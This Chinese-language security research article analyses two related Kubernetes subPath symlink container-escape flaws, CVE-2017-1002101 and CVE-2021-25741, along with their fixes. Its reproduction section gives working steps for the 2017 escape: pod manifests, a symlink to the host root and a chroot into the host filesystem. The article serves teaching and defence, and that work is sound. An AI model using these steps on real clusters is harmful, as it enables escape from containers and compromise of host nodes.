漏洞重現:從CVE-2017-1002101到CVE-2021-25741
前言
聲明:本文內容僅供合法教學及研究使用,不得將相關知識、技術應用于非法活動!
近日,研究人員向Kubernetes安全團隊報告了一個可導致容器逃逸的安全漏洞[1],獲得編號CVE-2021-25741,目前的CVSS3.x評分為8.8[2],屬于高危漏洞。該漏洞引起社區的廣泛討論[3]。有人指出,CVE-2021-25741漏洞是由2017年的CVE-2017-1002101漏洞的補丁不充分導致,事實也的確如此。
CVE-2017-1002101是一個Kubernetes的文件系統逃逸漏洞,允許攻擊者使用subPath卷掛載來訪問卷空間外的文件或目錄,CVSS 3.x評分為9.8[4]。所有v1.3.x、v1.4.x、v1.5.x、v1.6.x及低于v1.7.14、v1.8.9和v1.9.4版本的Kubernetes均受到影響。該漏洞由Maxim Ivanov提交[5]。
這兩個漏洞都與Linux系統的符號鏈接機制有關,而這一機制曾引發了數量可觀的安全漏洞。
簡而言之,CVE-2017-1002101的成因是,Kubernetes在宿主機文件系統上解析了Pod濫用subPath機制創建的符號鏈接,故而宿主機上任意路徑(如根目錄)能夠被掛載到攻擊者可控的惡意容器中,導致容器逃逸。官方對此的修補思路是,借助路徑檢查和類似“鎖”的機制,確保惡意用戶通過subPath掛載的路徑不是非預期的符號鏈接。然而,百密一疏,縱使官方的修復方案已經考慮了種種情況,但最后的掛載操作是由系統上的mount工具執行,而該工具默認解析符號鏈接,這就引入了TOCTOU問題(競態條件問題的一種),也就是近來曝光的CVE-2021-25741。
本文將對這兩個漏洞進行關聯分析。后文的組織結構如下:
1. 給出理解漏洞的必要背景知識;
2. 剖析、復現CVE-2017-1002101漏洞;
3. 剖析、復現CVE-2021-25741漏洞;
4. 基于以上分析,給出我們的總結與思考。
由于CVE-2021-25741漏洞較新,截至本文成稿尚無公開漏洞利用代碼。本文僅結合公開資料對漏洞進行分析,給出脫敏復現截圖,幫助大家理解這一漏洞。請勿將相關知識、技術應用于非法活動!
綠盟科技星云實驗室開源的云原生靶場項目Metarget[6]現已支持自動化構建CVE-2017-1002101和CVE-2021-25741漏洞環境,歡迎研究者使用(后文會給出具體構建方法)。
穿越之旅即將開始,請坐穩扶好。
1. 背景知識
1.1 符號鏈接
符號鏈接,也被稱作軟鏈接,指的是這樣一類文件——它們包含了指向其他文件或目錄的絕對或相對路徑的引用。當我們操作一個符號鏈接時,操作系統通常會將我們的操作自動解析為針對符號鏈接指向的文件或目錄的操作。
在類Unix系統中,ln命令能夠創建一個符號鏈接,例如:
ln -s target_path link_path
上述命令創建了一個名為link_path的符號鏈接,它指向的目標文件為target_path。
欲了解更多關于符號鏈接的內容,可以參考維基百科[7]。
1.2 SubPath
在容器內部,本地文件通常是非持久化的。對于Kubernetes來說,當容器由于某種原因終止運行并被Kubelet重啟后,非持久化的本地文件就會丟失;另外,集群中同一Pod內部或Pod間常常會有文件共享的需求。Kubernetes提供了Volume資源用來解決上述問題,官方文檔對Volume進行了詳盡描述[8]。
有時,我們需要把一個Volume在多處使用。volumeMounts.subPath特性允許我們在掛載時指定某Volume內的子路徑,而非其根路徑。
以經典的LAMP Pod(Linux Apache Mysql PHP)為例,采用subPath特性,同一Pod內的mysql和php容器可共享同一Volume site-data,但在容器內部分別掛載該Volume的不同子路徑mysql和html:
apiVersion: v1kind: Podmetadata: name: my-lamp-sitespec: containers: -name: mysql image: mysql env: -name: MYSQL_ROOT_PASSWORD value:"rootpasswd" volumeMounts: -mountPath: /var/lib/mysql name: site-data subPath: mysql -name: php image: php:7.0-apache volumeMounts: -mountPath: /var/www/html name: site-data subPath: html volumes: -name: site-data persistentVolumeClaim: claimName: my-lamp-site-data
欲了解更多關于SubPath的內容,可以參考官方文檔[9]。
1.3 Pod安全策略(Pod Security Policies)
Pod安全策略為Pod的創建和更新提供了細粒度的權限控制。從實現上來講,Pod安全策略是一種集群級資源,用于對Pod的安全敏感設定進行管控。
PodSecurityPolicy對象定義了一系列Pod運行必須遵從的條件,允許管理員對Pod進行管控,例如:
表1 PodSecurityPolicy控制字段
控制的角度 字段名稱 運行特權容器 privileged 使用宿主機命名空間 hostPID,hostIPC 使用宿主機的網絡和端口 hostNetwork,hostPorts Volume類型的使用 volumes 使用宿主機文件系統 allowedHostPaths 允許使用特定的FlexVolume驅動 allowedFlexVolumes 分配擁有Pod卷的FSGroup賬號 fsGroup 以只讀方式訪問根文件系統 readOnlyRootFilesystem 設置容器的用戶ID和組ID runAsUser,runAsGroup,supplementalGroups 限制權限提升為root allowPrivilegeEscalation,defaultAllowPrivilegeEscalation Linux 權能(Capabilities) defaultAddCapabilities,requireDropCapabilities,allowedCapabilities 設置容器的SELinux上下文 seLinux 指定容器能掛載的Proc類型 allowedProcMountTypes 指定容器使用的AppArmor模板 annotations 指定容器使用的seccomp模板 annotations 指定容器使用的sysctl模板 forbiddenSysctls,allowedUnsafeSysctls |
欲了解更多關于Pod安全策略的內容及如何啟用Pod安全策略,可以參考官方文檔[10]。
2. CVE-2017-1002101:寒風初起
2.1 漏洞分析
在針對CVE-2017-1002101的分析開始之前,我們先要搞清楚一件事——這個漏洞本質上是“Linux符號鏈接特性”與“Kubernetes自身代碼邏輯”兩部分結合的產物。符號鏈接引起的問題并不新鮮,這里它與虛擬化隔離技術碰撞出了逃逸問題,以前還曾有過在傳統主機安全領域與SUID概念碰撞出的權限提升問題等[11]。
言歸正傳。CVE-2017-1002101漏洞是怎么產生的呢?
首先,結合源碼,我們來深入了解一下創建一個Pod的過程中與Volume有關的部分。筆者采用的是v1.9.3版本的Kubernetes源碼,gitcommit為d2835416544。
在一個Pod開始運行前,Kubernetes需要做許多事情。首先,Kubelet為Pod在宿主機上創建了一個基礎目錄:
// in pkg/kubelet/kubelet.go syncPodfunction// Make data directories for the podif err := kl.makePodDataDirs(pod); err !=nil{ kl.recorder.Eventf(pod, v1.EventTypeWarning, events.FailedToMakePodDataDirectories,"errormaking pod data directories: %v", err) glog.Errorf("Unable to make pod datadirectories for pod %q: %v", format.Pod(pod), err) return err}
如果跟進看makePodDataDirs函數,可以發現其中就包括Volumes目錄:
// in pkg/kubelet/kubelet_pods.go// makePodDataDirs creates the dirs for the pod datas.func(kl *Kubelet) makePodDataDirs(pod *v1.Pod)error{ uid := pod.UID // ... if err := os.MkdirAll(kl.getPodVolumesDir(uid),0750); err !=nil&&!os.IsExist(err){ return err } // ...}
接著,Kubelet等待Kubelet Volume Manager(pkg/kubelet/volumemanager)將Pod聲明文件中聲明的卷掛載到上述Volumes目錄下:
// in pkg/kubelet/kubelet_pods.go// Volume manager will not mount volumes for terminatedpodsif!kl.podIsTerminated(pod){ // Wait for volumes to attach/mount if err := kl.volumeManager.WaitForAttachAndMount(pod); err !=nil{ kl.recorder.Eventf(pod, v1.EventTypeWarning, events.FailedMountVolume,"Unableto mount volumes for pod %q: %v", format.Pod(pod), err) glog.Errorf("Unable to mount volumesfor pod %q: %v; skipping pod", format.Pod(pod), err) return err }}
在上述工作完成后,Kubelet需要為容器運行時(Container Runtime,后文簡稱Runtime)生成配置文件:
// inpkg/kubelet/kuberuntime/kuberuntime_container.gofunc(m *kubeGenericRuntimeManager) startContainer(podSandboxID string, podSandboxConfig *runtimeapi.PodSandboxConfig, container *v1.Container, pod *v1.Pod, podStatus *kubecontainer.PodStatus, pullSecrets []v1.Secret, podIP string)(string,error){ // ... containerConfig, err := m.generateContainerConfig(container, pod, restartCount, podIP, imageRef) // ...
其中核心函數generateContainerConfig最終追溯到了位于pkg/kubelet/kubelet_pods.go中的GenerateRunContainerOptions函數。該函數中調用了makeMounts用來生成Runtime需要的掛載映射表:
// in pkg/kubelet/kubelet_pods.goGenerateRunContainerOptions functionmounts, err := makeMounts(pod, kl.getPodDir(pod.UID), container, hostname, hostDomainName, podIP, volumes)
makeMounts函數是問題關鍵所在。我們深入看一下:
// in pkg/kubelet/kubelet_pods.go// makeMounts determines the mount points for the givencontainer.func makeMounts(pod *v1.Pod, podDir string, container *v1.Container, hostName, hostDomain, podIP string, podVolumes kubecontainer.VolumeMap)([]kubecontainer.Mount,error){ // ... mounts :=[]kubecontainer.Mount{} for _, mount :=range container.VolumeMounts { // ... hostPath, err := volume.GetPath(vol.Mounter) if err !=nil{ returnnil,err } if mount.SubPath !=""{ if filepath.IsAbs(mount.SubPath){ returnnil,fmt.Errorf("error SubPath `%s` mustnot be an absolute path", mount.SubPath) } err= volumevalidation.ValidatePathNoBacksteps(mount.SubPath) if err !=nil{ returnnil,fmt.Errorf("unable to provisionSubPath `%s`: %v", mount.SubPath, err) }
fileinfo, err := os.Lstat(hostPath) if err !=nil{ returnnil,err } perm:= fileinfo.Mode() // 關鍵點1 hostPath= filepath.Join(hostPath, mount.SubPath)
if subPathExists, err := utilfile.FileOrSymlinkExists(hostPath); err !=nil{ glog.Errorf("Could not determine ifsubPath %s exists; will not attempt to change its permissions", hostPath) }elseif!subPathExists { if err := os.MkdirAll(hostPath, perm); err !=nil{ glog.Errorf("failed to mkdir:%s", hostPath) returnnil,err }
// chmod the sub path because umask may have prevented us frommaking the sub path with the same // permissions as the mounter path if err := os.Chmod(hostPath, perm); err !=nil{ returnnil,err } } } // ... // 關鍵點2 mounts =append(mounts, kubecontainer.Mount{ Name: mount.Name, ContainerPath: containerPath, HostPath: hostPath, ReadOnly: mount.ReadOnly, SELinuxRelabel: relabelVolume, Propagation: propagation, }) } // ... return mounts,nil}
經過仔細分析可以發現,makeMounts在生成掛載映射表時,并未單獨列出subPath的情況。對于指定了subPath的掛載項,Kubelet直接將subPath與hostPath進行簡單的字符串合并,然后加入到掛載映射表(上述代碼中的mounts變量)中。
最終,這個掛載映射表被傳遞給Runtime來創建容器。
初看,這個流程沒什么問題。但是,如果我們把以下幾點特征放在一起,就會有問題了[12]:
1.subPath是Pod擁有者可控的;
2.卷是可以由同一Pod內不同生命周期的容器、或不同Pod之間共享的;
3.Kubernetes將宿主機上的文件路徑進行解析并傳遞給Runtime,Runtime將這些路徑綁定掛載(bindmount)到容器內部。
設想這樣一種情況:
假如某人擁有某集群內的Pod創建權限,但是不能任意掛載卷(比如受到Pod安全策略的限制,否則就可以直接掛載宿主機目錄實現逃逸了),那么他先創建一個Pod-1,在其中聲明掛載Volume-1。Pod-1運行后,利用Pod-1的shell在Volume-1中創建一個指向/的符號鏈接symlink-1;接著再創建一個Pod-2,Pod-2同樣聲明掛載Volume-1,但是使用了subPath特性,指明subPath為symlink-1。這樣一來,基于我們前面的分析過程,Kubelet會直接在宿主機上生成指向hostPath+subPath的路徑傳遞給Runtime。當Pod-2的容器運行起來后,它就會直接掛載宿主機上該符號鏈接指向的內容了!
這就是CVE-2017-1002101漏洞所在。
2.2 漏洞復現
2.2.1 環境準備
首先,我們需要部署一個存在CVE-2017-1002101漏洞的Kubernetes集群,您可以借助前言部分提到的開源靶場工具Metarget部署漏洞環境。在安裝Metarget后,執行以下命令,即可部署上述集群:
./metarget cnv install cve-2017-1002101 --domestic
在集群中,攻擊者具有某命名空間下Pod的創建及相關權限,但是受到Pod安全策略的限制[10],在創建時如果掛載了hostPath類型的卷,只允許掛載某些非重要路徑下的目錄或文件,例如/tmp。這樣一來,攻擊者很難通過掛載宿主機敏感目錄的方式實現容器逃逸。但是借助CVE-2017-1002101,攻擊者能夠繞過此限制,成功掛載宿主機敏感目錄,繼而實現容器逃逸。
接著,我們需要布置一下攻擊場景。場景很簡單——為集群設置Pod安全策略,只允許Pod在創建時掛載宿主機/tmp路徑下的目錄或文件。結合官方文檔[10]及網上技術分享[13][14],首先創建策略:
apiVersion: extensions/v1beta1kind: PodSecurityPolicymetadata: name: privileged annotations: seccomp.security.alpha.kubernetes.io/allowedProfileNames:'*'spec: privileged:true allowPrivilegeEscalation:true allowedCapabilities: -'*' volumes: -'*' allowedHostPaths: -pathPrefix: /tmp/ hostNetwork:true hostPorts: -min:0 max:65535 hostIPC:true hostPID:true runAsUser: rule:'RunAsAny' seLinux: rule:'RunAsAny' supplementalGroups: rule:'RunAsAny' fsGroup: rule:'RunAsAny'
接著打通RBAC:
apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRolemetadata: name: privileged-psprules: -apiGroups: - policy resourceNames: - privileged resources: - podsecuritypolicies verbs: - useapiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata: name: kube-system-psp namespace: kube-systemroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: privileged-pspsubjects: -apiGroup: rbac.authorization.k8s.io kind: Group name: system:nodes -apiGroup: rbac.authorization.k8s.io kind: Group name: system:serviceaccounts:kube-system
然后為API Server配置PodSecurityPolicy插件。編輯APIServer的配置文件(一般是/etc/kubernetes/manifests/kube-apiserver.yaml),在--admission-control命令行選項后加上,PodSecurityPolicy,然后等待APIServer重啟服務(如果長時間沒有重啟可以嘗試手動執行servicekubelet restart重啟一下Kubelet服務),直到能夠看到API Server進程啟動參數中包含PodSecurityPolicy:
root# ps aux | grep kube-apiserver| grep -v greproot 26141 4.5 12.9 377460 264384? Ssl 11:51 11:37 kube-apiserver--tls-private-key-file=/etc/kubernetes/pki/apiserver.key--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key--enable-bootstrap-token-auth=true --service-cluster-ip-range=10.96.0.0/12--tls-cert-file=/etc/kubernetes/pki/apiserver.crt--client-ca-file=/etc/kubernetes/pki/ca.crt--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt--insecure-port=0 --allow-privileged=true--requestheader-group-headers=X-Remote-Group--service-account-key-file=/etc/kubernetes/pki/sa.pub--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt--requestheader-username-headers=X-Remote-User--requestheader-extra-headers-prefix=X-Remote-Extra---requestheader-allowed-names=front-proxy-client --secure-port=6443--admission-control=Initializers,NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,ResourceQuota,PodSecurityPolicy……
上述輸出說明Pod安全策略設置成功。我們來測試一下,嘗試創建一個掛載宿主機根目錄的Pod:
root# kubectl apply -f -<# stage-1-pod.yamlapiVersion: v1kind: Podmetadata: name: testspec: containers: - image:ubuntu name: test volumeMounts: - mountPath:/vuln name:vuln-vol command:["sleep"] args:["10000"] volumes: - name:vuln-vol hostPath: path: /EOF Error from server (Forbidden): error when creating"STDIN": pods "test" is forbidden: unable to validateagainst any pod security policy: [spec.volumes[0].hostPath.pathPrefix: Invalidvalue: "/": is not allowed to be used]
可以發現,由于安全策略的存在,Pod創建失敗。另外,一些朋友可能會想到用相對路徑..來繞過,事實上/tmp/../這種形式也會報錯:
The Pod "test" isinvalid:* spec.volumes[0].hostPath.path: Invalid value:"/tmp/../": must not contain '..'* spec.containers[0].volumeMounts[0].name: Not found:"vuln-vol"
至此,環境準備完成。
2.2.2 漏洞利用
目標很明確:在文件系統層面實現容器逃逸。一旦實現了文件系統層面的容器逃逸,攻擊者就像是穿越了結界,很容易繼續擴大戰果、實施更有殺傷性的攻擊。
結合前文的分析,在攻擊者的視角下,我們要做的事情實際非常簡單:
1. 創建一個Pod,以hostPath類型掛載宿主機/tmp/test目錄;
2. 在上一步的Pod中執行命令,在宿主機/tmp/test目錄下創建指向/的符號鏈接xxx;
3. 創建第二個Pod,以hostPath類型掛載宿主機/tmp/test目錄,在容器中以subPath類型掛載xxx;
4. 在第二個Pod的shell中,執行chroot將根目錄切換到xxx,實現容器逃逸。
讓我們來實踐一下。在前面搭建的測試環境中,按照上述步驟:
先創建第一個Pod:
root# kubectl apply -f - <# stage-1-pod.yamlapiVersion: v1kind: Podmetadata: name:stage-1-containerspec: containers: - image:ubuntu name:stage-1-container volumeMounts: -mountPath: /vuln name: vuln-vol command: ["sleep"] args:["10000"] volumes: - name:vuln-vol hostPath: path: /tmp/testEOFpod/stage-1-container created
然后在第一個Pod中創建所述符號連接:
kubectl exec -it stage-1-container-- ln -s / /vuln/xxx
接著創建第二個Pod:
root# kubectl apply -f -<# stage-2-pod.yamlapiVersion: v1kind: Podmetadata: name:stage-2-containerspec: containers: - image:ubuntu name:stage-2-container volumeMounts: - mountPath:/vuln name:vuln-vol subPath:xxx command: ["sleep"] args:["10000"] volumes: - name:vuln-vol hostPath: path:/tmp/testEOFpod/stage-2-container created
OK,現在我們已經可以到第二個Pod中驗證一下是否逃逸成功了:
root# kubectl exec -itstage-2-container -- ls /vulnbin home lib64 optsbin tmp vmlinuz.oldboot initrd.img lost+found proc snap usr xxxdev initrd.img.old media root srv varetc lib mnt runsys vmlinuzroot#
可以看到,我們在第二個Pod中執行ls /vuln,列出的卻是所在宿主機節點的根目錄。進一步地,我們直接在第二個Pod的shell中chroot過去:
root# kubectl exec -it stage-2-container --/bin/bashroot@stage-2-container:/# cat /etc/hostnamestage-2-container root@stage-2-container:/# chroot /vuln# cat /etc/hostnamevictim-2
很明顯,在chroot后,從配置文件中獲取的主機名已經變成了宿主機節點的名稱。驗證完畢。
2.2.3 注意事項
在實踐過程中我們發現,為了順利復現漏洞,需要注意:
1. 前后創建的兩個Pod要在同一個宿主機節點上(如果是多節點集群環境);
2. 不同版本Kubernetes環境下Admission Controller的PodSecurityPolicy插件的配置方式有一些小差異,具體步驟請參考官方文檔。
2.3 漏洞修復
v1.9.x系列的Kubernetes在v1.9.4版本中修復了CVE-2017-1002101漏洞[15]。
漏洞的根源在于,subPath指向的宿主機文件系統路徑是不受控的,在符號鏈接的輔助下,可以是任何位置。
修復方案需要考慮兩點:
1. 解析后的文件系統路徑必須是在Pod基礎路徑之內;
2. 在檢查環節和綁定掛載環節之間不允許用戶更改(避免引入TOCTOU問題[16])。
Kubernetes產品安全團隊曾提出了幾種不同版本的安全方案[12],這些方案能幫助我們更好地理解即將出場的CVE-2021-25741漏洞的成因。接下來,我們一起來解讀一下這些方案。
2.3.1 方案一(基礎方案)
基礎方案是:
1. 在宿主機上對所有的subPath解析符號鏈接;
2. 判斷符號鏈接解析后的指向目標是否位于卷內部;
3. 只把第2步中判定為卷內部的解析后路徑傳遞給Runtime。
這個方案很簡單,但是存在TOCTOU 的風險[16]。攻擊者可以先給一個合法符號鏈接,使第2步判斷通過,再將其替換為惡意符號鏈接即可。因此,如果要采取這個思路,就需要為目標路徑加上某種形式的鎖,避免其在第2步和第3步之間被攻擊者更改。
后續的所有方案都采用一種臨時綁定掛載的方式去實現上述「鎖」的概念,這基于綁定掛載的特性——綁定掛載生效后,掛載源就不可改變了。
2.3.2 方案二
方案二在方案一的基礎上做了加強:
1. 在Kubelet的Pod目錄下創建一個子目錄,比如dir1;
2. 將卷綁定掛載到上述子目錄中,比如掛載點為dir1/volume;
3. 使用chroot切換根目錄到dir1;
4. 在切換后的根目錄內,將volume/subpath綁定掛載為subpath。這樣一來,任何符號鏈接都是在chroot后的環境中解析了;
5. 退出chroot環境;
6. 在宿主機上,將經過綁定掛載的dir1/subpath傳遞給Runtime。
這種方案有效,但完整實現過于復雜,官方團隊沒有采用。
2.3.3 方案三
將方案一和方案二進行了整合:
1. 將subpath路徑綁定掛載到Kubelet的Pod目錄下的一個子目錄;
2. 判斷綁定掛載的掛載源是否位于卷內部;
3. 只把第2步中判定為卷內部的綁定掛載傳遞給Runtime。
這個方案看起來有效、簡單,但是第2步實際上非常難實現,因為現實中要考慮的情況實在太多了(比如Volume類型差異帶來的影響)。
2.3.4 最終解決方案
最終,安全團隊針對CVE-2017-1002101給出的修復方案是:
1. 在宿主機上對所有的subPath解析符號鏈接;
2. 對解析后的路徑,從卷的根路徑開始,使用openat()系統調用依次打開每一個路徑段(即路徑被分割符/分開的各部分),在這個過程中禁用符號鏈接。對于每個段,確保當前路徑位于在卷內部;
3. 將/proc//fd/綁定掛載到Kubelet的Pod目錄下的一個子目錄。該文件是指向打開文件的鏈接(文件描述符)。如果源文件在被Kubelet打開的時候被替換,那么鏈接依然指向原始文件;
4. 關閉文件描述符fd,將綁定掛載傳遞給Runtime。
詳細方案討論見官方博客[12]。實際的修復代碼過多,限于篇幅,這里不再給出。
我們在新版本的Kubernetes集群中重試前文的漏洞利用步驟,發現stage-2-container將無法創建成功:
root# kubectl get pods NAME READY STATUS RESTARTS AGEstage-1-container 1/1 Running 0 110sstage-2-container 0/1 CreateContainerConfigError 0 17s
此時,stage-2-container的事件日志如下:
root# kubectl describe -n testpods stage-2-container | tail -n 7Events: Type Reason Age From Message ---- ------ ---- ---- ------- Normal Scheduled 2m59s default-scheduler Successfully assigned test/stage-2-container to ctnsec-master Normal Pulled 26s (x7 over 2m50s) kubelet,ctnsec-master Successfully pulled image"ubuntu" Warning Failed 26s (x7 over 2m50s) kubelet,ctnsec-master Error: failed to preparesubPath for volumeMount "vuln-vol" of container "stage-2-container"
從Kubelet的日志中,我們能夠查看到更詳細的信息:
failed to prepare subPath forvolumeMount "vuln-vol" of container "stage-2-container":subpath "/" not within volume path "/tmp/test"
可以看到,日志明確指出了/路徑并不在/tmp/test路徑下,因此Pod建立失敗。
最終方案看似完美無缺。然而,一個未曾考慮到的特性讓安全團隊為避免TOCTOU問題作出的以上所有復雜設計如千里長堤般潰于蟻穴。四年之后,CVE-2021-25741出場。
3. CVE-2021-25741:百密一疏
3.1 漏洞分析
CVE-2021-25741漏洞的成因與CVE-2017-1002101漏洞的最終修復方案密切相關。因此,如果您對上一節的最終修復方案只是匆匆略過,并希望明白CVE-2021-25741的原理,建議再回過頭弄明白CVE-2017-1002101到底是怎么修復的。
OK,我們繼續。事實上,CVE-2017-1002101漏洞的最終修復方案的確達到了預期目的——確保掛載路徑位于卷內部,同時避免競態條件攻擊。我們結合1.17.1版本的Kubernetes代碼簡單看一下是怎么做的(如前所述,所有代碼過多,就不放出了)。在subpath_linux.go的中:
func doBindSubPath(mounter mount.Interface, subpath Subpath)(hostPath string, err error){ // 1. 在宿主機上對所有的subPath解析符號鏈接 newVolumePath, err := filepath.EvalSymlinks(subpath.VolumePath) if err !=nil// ... 出錯返回 newPath, err := filepath.EvalSymlinks(subpath.Path) if err !=nil// ... 出錯返回 // ... 省略 // 2. 依次打開每一個路徑段,確保當前路徑位于在卷內部 fd, err := safeOpenSubPath(mounter, subpath) if err !=nil// ... 出錯返回 // ... 省略 kubeletPid := os.Getpid() mountSource := fmt.Sprintf("/proc/%d/fd/%v", kubeletPid, fd) // Do the bind mount options :=[]string{"bind"} klog.V(5).Infof("bind mounting %q at%q",mountSource,bindPathTarget) // 3. 綁定掛載subPath到Pod內 if err = mounter.Mount(mountSource, bindPathTarget,""/*fstype*/, options); err !=nil// ... 出錯返回 // ... 省略}
以上就是修復方案給出的步驟了。新的問題到底在哪呢?
在mounter.Mount上。該函數會調用doMount函數,doMount函數最終是通過執行系統上的mount工具來實現掛載的:
command := exec.Command(mountCmd, mountArgs...)
然而,根據Linux手冊[17],mount工具默認情況下是解析符號鏈接的。因此,雖然前述補丁過程中攻擊者無法做些什么,但他可以在mount工具解析符號鏈接后和掛載操作執行前制造競態條件攻擊,從而繞過前述補丁的防御措施。
3.2 漏洞復現
在特定的環境下,一旦成功觸發漏洞,攻擊者能夠實現容器逃逸,如下圖所示:

圖 1 漏洞復現DEMO
注:Metarget已經支持CVE-2021-25741漏洞環境搭建。在安裝Metarget后,執行以下命令,即可部署存在漏洞的Kubernetes集群:
./metarget cnv install cve-2021-25741 --domestic
3.3 漏洞修復
這一次的修復[18]很簡單,在調用mount時傳遞了--no-canonicalize參數,命令mount不再解析符號鏈接。
4. 總結與思考
CVE-2017-1002101和CVE-2021-25741都是符號鏈接處理不當引起的安全問題。事實上,符號鏈接引起的安全問題并不少見。我們曾不止一次提到過,成熟復雜系統(譬如Linux)的魅力在于其能夠提供強大的功能和機制,而問題則往往出現在這些功能與機制同時或交替生效的場景中。
思路再拓展一下:Windows上的「快捷方式」與Linux上的符號鏈接的功能非常相像。而「快捷方式」也曾曝出許多嚴重安全漏洞。例如,CVE-2010-2568——Windows快捷方式文件存在缺陷導致的任意代碼執行漏洞,據稱曾被應用在針對伊朗核設施的「震網病毒」[19]中[20];再如CVE-2017-8464——另一基于Windows快捷方式的任意代碼執行漏洞,由于其漏洞原理上與CVE-2010-2568的相似性,被戲稱為「震網三代」。
在云計算世界,我們尤其擅長將各種基礎機制打包起來,創造出新的事物,這種新事物也許能夠極大地提高生產力,甚至促進產業變革——容器便是典例。然而,結合前文所述,這也意味著以往不曾出現過的機制交疊帶來的邏輯漏洞或許會在云環境陸續產生。
云原生時代,安全不可缺席。我們將持續輸出云原生安全研究成果,最新成果直接賦能綠盟科技云原生安全產品NCSS-C,為您的云原生業務保駕護航。目前,NCSS-C已經支持對CVE-2017-1002101和CVE-2021-25741漏洞的檢測。
最后,由綠盟科技星云實驗室編寫的《云原生安全:攻防實踐與體系構建》一書即將于10月底出版,干貨多多,更加精彩,敬請關注!
